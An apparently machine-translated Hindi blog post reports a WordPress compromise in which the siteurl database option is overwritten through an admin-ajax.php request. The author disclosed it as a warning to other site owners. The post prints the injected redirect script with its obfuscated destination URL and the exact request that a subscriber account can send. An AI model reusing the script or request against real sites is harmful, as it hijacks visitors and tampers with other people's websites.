व्यवस्थापक- ajax.php में गंभीर भेद्यता

पिछले हफ्ते मैं एक बेहद अप्रिय तथ्य पर आया। अपनी साइट पर जाने के बाद, मैंने पाया कि यह मुझे अपने लिए अनजान एक संसाधन पर पुनर्निर्देशित करता है, जो एंटीवायरस डॉ। बेहद कसम खाता है वेब

गर्व से WordPress संस्करण 5.1 द्वारा संचालित

इंजन, प्लगइन और थीम के सभी आउटगोइंग अपडेट समय पर इंस्टॉल किए जाते हैं। केवल आधिकारिक रिपॉजिटरी, विषय से भी प्लगइन्स।

साइट का बैकअप तुरंत डाउनलोड किया गया था, एंटीवायरस सॉफ़्टवेयर (डॉ वेब, कैस्परस्की, एआई-बोलिट) द्वारा स्कैन किया गया था - लेकिन कोई परिणाम नहीं थे, सब कुछ साफ है।

मैन्युअल रूप से थीम फ़ाइलों और कुछ प्लगइन्स की जाँच की, लेकिन फिर कोई परिणाम नहीं हुआ।
Siteurl पैरामीटर में wp_options तालिका में डेटाबेस डंप की जाँच करते समय, किसी और का URL छिपा हुआ था। दरअसल, उसके पास एक रीडायरेक्ट था।

यह सिद्धांत के अनुसार हुआ: पृष्ठ लोड करते समय, "साइटर्ल" पैरामीटर को सभी में प्रतिस्थापित किया गया था

<script type='text/javascript' src=' URL  '></script> 

इस स्थिति में, निम्न स्क्रिप्ट लोड किया गया था:

 var x = getCookie('pp000001'); if (x) { var x2 = getCookie('pp000002'); if (x2) { var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } else { setCookie('pp000002','1',1); var sdfgdfg = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 112, 117, 115, 104, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107);document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } } else { setCookie('pp000001','1',1); var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } function setCookie(name,value,days) { var expires = ""; if (days) { var date = new Date(); date.setTime(date.getTime() + (days*8*60*60*1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = name + "=" + (value || "") + expires + "; path=/"; } function getCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function eraseCookie(name) { document.cookie = name+'=; Max-Age=-99999999;'; } 

डेटाबेस में किसी और का URL कैसे मिला यह एक रहस्य बना हुआ है। URL को दाईं ओर बदलना, सब कुछ फिर से काम करता है, लेकिन अगले दिन, जब जाँच कर रहा था, मैंने फिर से डॉ। वेब पुनर्निर्देशित पृष्ठ पर शपथ लेता है। इस पैरामीटर को डेटाबेस में फिर से बदल दिया गया था।

उसके बाद, साइट पर नए प्रवेश लॉग और त्रुटि लॉग डाउनलोड किए गए थे। कोई त्रुटि नहीं थी, लेकिन एक्सेस लॉग में साइट के लिए एक बहुत ही दिलचस्प अनुरोध पाया गया था:

 /wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=siteurl&option_value= URL 

सेटिंग्स को फिर से सही करने और यह जांचने के बाद कि सब कुछ काम करता है, मैंने साइट पर इस अनुरोध को दोहराने की कोशिश की, लेकिन कुछ भी काम नहीं किया। डेटाबेस में सेटिंग नहीं बदली है।

यह ध्यान दिया जाना चाहिए कि साइट पंजीकरण के लिए खुली है और उपयोगकर्ताओं को "सब्सक्राइबर" की भूमिका मिलती है, प्रशासनिक भाग तक पहुंच पूरी तरह से बंद है।

एक नए उपयोगकर्ता को पंजीकृत करने के लिए प्रयास किया गया, लॉग इन किया और उसके बाद साइट के लिए यह अनुरोध काम किया, डेटाबेस में सेटिंग बदल गई।

नतीजतन, यह पता चला है कि यदि उपयोगकर्ता पंजीकरण साइट पर खुला है, तो भी सब्सक्राइबर की भूमिका और व्यवस्थापक पैनल तक पहुंच बंद है, यह अनुरोध अभी भी काम करता है।

इसे दूसरी साइट पर चेक किया गया था, पहले सभी प्लगइन को बंद कर दिया और डिफ़ॉल्ट थीम सेट कर दिया - परिणाम समान है।

कैसे लड़ें, पंजीकरण को बंद करने और संदिग्ध उपयोगकर्ताओं को हटाने के अलावा - मुझे अभी तक कोई समाधान नहीं मिला है।

पुनश्च: Google का अनुरोध, संक्रमित साइटें मिलीं, सावधान रहें।